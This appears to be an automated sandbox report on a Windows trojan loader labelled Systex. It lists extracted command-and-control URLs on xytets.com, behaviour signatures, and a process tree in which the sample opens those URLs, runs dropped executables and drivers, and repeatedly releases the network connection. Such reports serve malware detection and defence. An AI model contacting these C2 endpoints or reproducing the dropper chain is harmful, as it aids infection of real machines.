Analysis
- max time kernel
149s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
15/04/2026, 14:18
General
- Target 2026-04-15_4010e2512a0bc73582a6ccd479f35033_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260415-rmqlgagy5q
- SHA256 8680c2227c92649a3a66e0c127238f5dbaeadd428e47b911bdb30c77945179e1
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 55 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-15_4010e2512a0bc73582a6ccd479f35033_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-15_4010e2512a0bc73582a6ccd479f35033_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4224 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4352 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zxrmkecxup.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\zxrmkecxup.exeC:\Temp\zxrmkecxup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zxrmkecxup.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zxrmkecxup.exeC:\Temp\i_zxrmkecxup.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zusmkecwup.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zusmkecwup.exeC:\Temp\zusmkecwup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zusmkecwup.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zusmkecwup.exeC:\Temp\i_zusmkecwup.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mgezwrojhb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mgezwrojhb.exeC:\Temp\mgezwrojhb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mgezwrojhb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mgezwrojhb.exeC:\Temp\i_mgezwrojhb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ojgbztrlje.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ojgbztrlje.exeC:\Temp\ojgbztrlje.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ojgbztrlje.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ojgbztrlje.exeC:\Temp\i_ojgbztrlje.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbwtolgeyt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dbwtolgeyt.exeC:\Temp\dbwtolgeyt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbwtolgeyt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dbwtolgeyt.exeC:\Temp\i_dbwtolgeyt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ytnlfdyvqn.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ytnlfdyvqn.exeC:\Temp\ytnlfdyvqn.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ytnlfdyvqn.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ytnlfdyvqn.exeC:\Temp\i_ytnlfdyvqn.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qnifaysqki.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\qnifaysqki.exeC:\Temp\qnifaysqki.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qnifaysqki.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_qnifaysqki.exeC:\Temp\i_qnifaysqki.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nifaysqkic.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nifaysqkic.exeC:\Temp\nifaysqkic.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nifaysqkic.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nifaysqkic.exeC:\Temp\i_nifaysqkic.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecxvpnhfax.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ecxvpnhfax.exeC:\Temp\ecxvpnhfax.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecxvpnhfax.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ecxvpnhfax.exeC:\Temp\i_ecxvpnhfax.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\upmhezxrpj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\upmhezxrpj.exeC:\Temp\upmhezxrpj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_upmhezxrpj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_upmhezxrpj.exeC:\Temp\i_upmhezxrpj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mhezxrpjhb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\mhezxrpjhb.exeC:\Temp\mhezxrpjhb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_mhezxrpjhb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_mhezxrpjhb.exeC:\Temp\i_mhezxrpjhb.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\eywrojhbzt.exe ups_run2⤵
-
C:\Temp\eywrojhbzt.exeC:\Temp\eywrojhbzt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_eywrojhbzt.exe ups_ins2⤵
-
C:\Temp\i_eywrojhbzt.exeC:\Temp\i_eywrojhbzt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\toigbytrlj.exe ups_run2⤵
-
C:\Temp\toigbytrlj.exeC:\Temp\toigbytrlj.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_toigbytrlj.exe ups_ins2⤵
-
C:\Temp\i_toigbytrlj.exeC:\Temp\i_toigbytrlj.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\igbytqljdb.exe ups_run2⤵
-
C:\Temp\igbytqljdb.exeC:\Temp\igbytqljdb.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_igbytqljdb.exe ups_ins2⤵
-
C:\Temp\i_igbytqljdb.exeC:\Temp\i_igbytqljdb.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dxvqnidavs.exe ups_run2⤵
-
C:\Temp\dxvqnidavs.exeC:\Temp\dxvqnidavs.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dxvqnidavs.exe ups_ins2⤵
-
C:\Temp\i_dxvqnidavs.exeC:\Temp\i_dxvqnidavs.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdxvpnifay.exe ups_run2⤵
-
C:\Temp\fdxvpnifay.exeC:\Temp\fdxvpnifay.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fdxvpnifay.exe ups_ins2⤵
-
C:\Temp\i_fdxvpnifay.exeC:\Temp\i_fdxvpnifay.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causnkfdxv.exe ups_run2⤵
-
C:\Temp\causnkfdxv.exeC:\Temp\causnkfdxv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causnkfdxv.exe ups_ins2⤵
-
C:\Temp\i_causnkfdxv.exeC:\Temp\i_causnkfdxv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\aupmhfzusm.exe ups_run2⤵
-
C:\Temp\aupmhfzusm.exeC:\Temp\aupmhfzusm.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_aupmhfzusm.exe ups_ins2⤵
-
C:\Temp\i_aupmhfzusm.exeC:\Temp\i_aupmhfzusm.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmkecwuomh.exe ups_run2⤵
-
C:\Temp\rmkecwuomh.exeC:\Temp\rmkecwuomh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmkecwuomh.exe ups_ins2⤵
-
C:\Temp\i_rmkecwuomh.exeC:\Temp\i_rmkecwuomh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\urmjecwuom.exe ups_run2⤵
-
C:\Temp\urmjecwuom.exeC:\Temp\urmjecwuom.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_urmjecwuom.exe ups_ins2⤵
-
C:\Temp\i_urmjecwuom.exeC:\Temp\i_urmjecwuom.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\hezxrpjhbz.sysC:\Temp\hezxrpjhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\czurmkecwu.sysC:\Temp\czurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\wuomgeywro.sysC:\Temp\wuomgeywro.sys1⤵
- Executes dropped EXE
-
C:\Temp\olgeywqojg.sysC:\Temp\olgeywqojg.sys1⤵
- Executes dropped EXE
-
C:\Temp\jdyvqoigay.sysC:\Temp\jdyvqoigay.sys1⤵
- Executes dropped EXE
-
C:\Temp\idavtnlfdx.sysC:\Temp\idavtnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\usnkfdxvpn.sysC:\Temp\usnkfdxvpn.sys1⤵
- Executes dropped EXE
-
C:\Temp\pkicausmkf.sysC:\Temp\pkicausmkf.sys1⤵
- Executes dropped EXE
-
C:\Temp\ezxrpkhczu.sysC:\Temp\ezxrpkhczu.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzurmkecwu.sysC:\Temp\fzurmkecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\omgezwrpjh.sysC:\Temp\omgezwrpjh.sys1⤵
-
C:\Temp\eywrojgbzt.sysC:\Temp\eywrojgbzt.sys1⤵
-
C:\Temp\tnlgdywqoi.sysC:\Temp\tnlgdywqoi.sys1⤵
-
C:\Temp\tqlidbvtnl.sysC:\Temp\tqlidbvtnl.sys1⤵
-
C:\Temp\qkidavtnlf.sysC:\Temp\qkidavtnlf.sys1⤵
-
C:\Temp\nifaxsqkic.sysC:\Temp\nifaxsqkic.sys1⤵
-
C:\Temp\pfzxspkhca.sysC:\Temp\pfzxspkhca.sys1⤵
-
C:\Temp\hezxrpjhcz.sysC:\Temp\hezxrpjhcz.sys1⤵
-
C:\Temp\bzxrpjhbzu.sysC:\Temp\bzxrpjhbzu.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
czurmkecwu.sys
dbwtolgeyt.exe
hezxrpjhbz.sys
i_dbwtolgeyt.exe
i_mgezwrojhb.exe
i_ojgbztrlje.exe
i_qnifaysqki.exe
i_ytnlfdyvqn.exe
i_zusmkecwup.exe
i_zxrmkecxup.exe
idavtnlfdx.sys
jdyvqoigay.sys
mgezwrojhb.exe
ojgbztrlje.exe
olgeywqojg.sys
qnifaysqki.exe
usnkfdxvpn.sys
wuomgeywro.sys
ytnlfdyvqn.exe
zusmkecwup.exe
zxrmkecxup.exe
8A7891822FCFF127E4EADADE9757112B
8A7891822FCFF127E4EADADE9757112B
8A7891822FCFF127E4EADADE9757112B
8A7891822FCFF127E4EADADE9757112B
RecoveryStore.{D51F0752-38D6-11F1-9D89-C67DC819AE91}.dat
RecoveryStore.{D521694D-38D6-11F1-9D89-C67DC819AE91}.dat
suggestions[1].en-US
memory/384-127-0x0000000000010000-0x0000000000083000-memory.dmp
memory/384-122-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1208-103-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1444-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2244-139-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2404-131-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2404-54-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2452-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2708-164-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2768-135-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2784-155-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3048-147-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3668-91-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4372-108-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4764-126-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5056-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5076-68-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5080-143-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5800-160-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5864-151-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5864-156-0x0000000000010000-0x0000000000083000-memory.dmp